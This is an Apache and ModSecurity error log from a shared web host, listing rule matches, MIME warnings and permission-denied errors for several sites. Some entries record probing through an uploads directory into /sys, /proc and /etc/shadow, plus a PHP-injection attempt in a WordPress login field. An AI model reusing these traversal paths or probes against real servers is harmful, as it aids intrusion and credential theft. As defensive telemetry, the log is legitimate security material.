[Fri Jul 17 09:24:52.707527 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.204.61.166:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "gnetuniversals.com"] [uri "/robots.txt"] [unique_id "almnjBHlOGcokz2QIwTYawAAAAM"]
[Fri Jul 17 09:24:52.707993 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.204.61.166:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "gnetuniversals.com"] [uri "/robots.txt"] [unique_id "almnjBHlOGcokz2QIwTYawAAAAM"]
[Fri Jul 17 09:24:52.708530 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.204.61.166:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "gnetuniversals.com"] [uri "/robots.txt"] [unique_id "almnjBHlOGcokz2QIwTYawAAAAM"]
[Fri Jul 17 09:24:52.826401 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:52.931810 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/platform/serial8250/subsystem/drivers/clk-lpss-atom/bind
[Fri Jul 17 09:24:53.130305 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:53.231485 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:53.333091 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:53.435000 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:53.637409 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/tmpw7o2kwv5
[Fri Jul 17 09:24:53.719775 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnjUkXT4NBqALj2laCKQAAABA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:24:53.719809 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnjUkXT4NBqALj2laCKQAAABA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:24:53.739715 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:53.838864 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:53.941792 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:54.040427 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:54.246354 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:57032] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:54.343804 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:54.746370 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty7/subsystem/ttyS3/device/driver/uevent
[Fri Jul 17 09:24:54.951443 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty43/subsystem/ttyS2/device/driver/uevent
[Fri Jul 17 09:24:54.985669 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/"] [unique_id "almnjoe39YUk0SgV8AU_igAAABE"]
[Fri Jul 17 09:24:54.985787 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/"] [unique_id "almnjoe39YUk0SgV8AU_igAAABE"]
[Fri Jul 17 09:24:54.986211 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/"] [unique_id "almnjoe39YUk0SgV8AU_igAAABE"]
[Fri Jul 17 09:24:54.986521 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/"] [unique_id "almnjoe39YUk0SgV8AU_igAAABE"]
[Fri Jul 17 09:24:55.272206 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:55.874395 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:57120] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:56.855352 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 103.191.131.195:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/kernel/slab/MPTCP/order, referer: http://www.anandaobauae.org/
[Fri Jul 17 09:24:57.829115 2026] [security2:error] [pid 2029579:tid 2029579] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/"] [unique_id "almnkSRF0UOO1RzB5_8ziAAAAA4"]
[Fri Jul 17 09:24:57.829235 2026] [security2:error] [pid 2029579:tid 2029579] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/"] [unique_id "almnkSRF0UOO1RzB5_8ziAAAAA4"]
[Fri Jul 17 09:24:57.829558 2026] [security2:error] [pid 2029579:tid 2029579] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/"] [unique_id "almnkSRF0UOO1RzB5_8ziAAAAA4"]
[Fri Jul 17 09:24:57.954531 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:14/eject
[Fri Jul 17 09:24:57.992725 2026] [security2:error] [pid 2029579:tid 2029579] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almnkSRF0UOO1RzB5_8ziAAAAA4"]
[Fri Jul 17 09:24:58.256169 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/0-0/handle
[Fri Jul 17 09:24:58.358197 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup11/device/device:14/eject
[Fri Jul 17 09:24:58.459400 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1c/subsystem/drivers/pvpanic/bind
[Fri Jul 17 09:24:58.559355 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:57262] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:58.559807 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:58.761786 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:58.863322 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:59.166738 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/shadow
[Fri Jul 17 09:24:59.268998 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:59.382515 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:59.470777 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/subsystem/wakeup14/device/driver/bind
[Fri Jul 17 09:24:59.506747 2026] [security2:error] [pid 1993671:tid 1993671] [client 85.11.167.118:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:pwd. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?l found within ARGS:pwd: zb{0@u{vsfjq&#j(<?l[iy0hi_#9]i-lljn0=ec"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "visionsolutionshospital.com"] [uri "/wp-login.php"] [unique_id "almnkw5GPQ6hs4VrfMpHbQAAAAY"], referer: https://visionsolutionshospital.com/wp-login.php
[Fri Jul 17 09:24:59.508070 2026] [security2:error] [pid 1993671:tid 1993671] [client 85.11.167.118:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "visionsolutionshospital.com"] [uri "/wp-login.php"] [unique_id "almnkw5GPQ6hs4VrfMpHbQAAAAY"], referer: https://visionsolutionshospital.com/wp-login.php
[Fri Jul 17 09:24:59.676668 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:59.782906 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:59.878854 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:00.187413 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/i2c/drivers/dummy/bind
[Fri Jul 17 09:25:00.446720 2026] [security2:error] [pid 2032156:tid 2032156] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almnk614q1EBnanVMYGpKgAAAAk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1165&page_105=1910
[Fri Jul 17 09:25:00.446757 2026] [security2:error] [pid 2032156:tid 2032156] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almnk614q1EBnanVMYGpKgAAAAk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1165&page_105=1910
[Fri Jul 17 09:25:00.595750 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:00.694499 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:00.796595 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:00.846466 2026] [security2:error] [pid 1993671:tid 1993671] [client 85.11.167.118:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "visionsolutionshospital.com"] [uri "/wp-login.php"] [unique_id "almnkw5GPQ6hs4VrfMpHbQAAAAY"], referer: https://visionsolutionshospital.com/wp-login.php
[Fri Jul 17 09:25:01.002355 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:01.103376 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:01.212404 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:01.287874 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnlRHlOGcokz2QIwTYcAAAAAM"]
[Fri Jul 17 09:25:01.287987 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnlRHlOGcokz2QIwTYcAAAAAM"]
[Fri Jul 17 09:25:01.288558 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnlRHlOGcokz2QIwTYcAAAAAM"]
[Fri Jul 17 09:25:01.411749 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:01.511156 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:01.715867 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:01.914663 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnlRHlOGcokz2QIwTYcAAAAAM"]
[Fri Jul 17 09:25:02.378784 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:02.425392 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:02.526895 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:02.628286 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:02.832478 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:02.924426 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/"] [unique_id "almnlrEWOaI5pmYo9fnT-QAAAAA"]
[Fri Jul 17 09:25:02.924607 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/"] [unique_id "almnlrEWOaI5pmYo9fnT-QAAAAA"]
[Fri Jul 17 09:25:02.925124 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/"] [unique_id "almnlrEWOaI5pmYo9fnT-QAAAAA"]
[Fri Jul 17 09:25:02.925629 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/"] [unique_id "almnlrEWOaI5pmYo9fnT-QAAAAA"]
[Fri Jul 17 09:25:03.033946 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:03.137480 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:03.349903 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:03.436839 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:03.550470 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:03.639609 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:03.672434 2026] [security2:error] [pid 2029579:tid 2029579] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/"] [unique_id "almnlyRF0UOO1RzB5_8zjgAAAA4"]
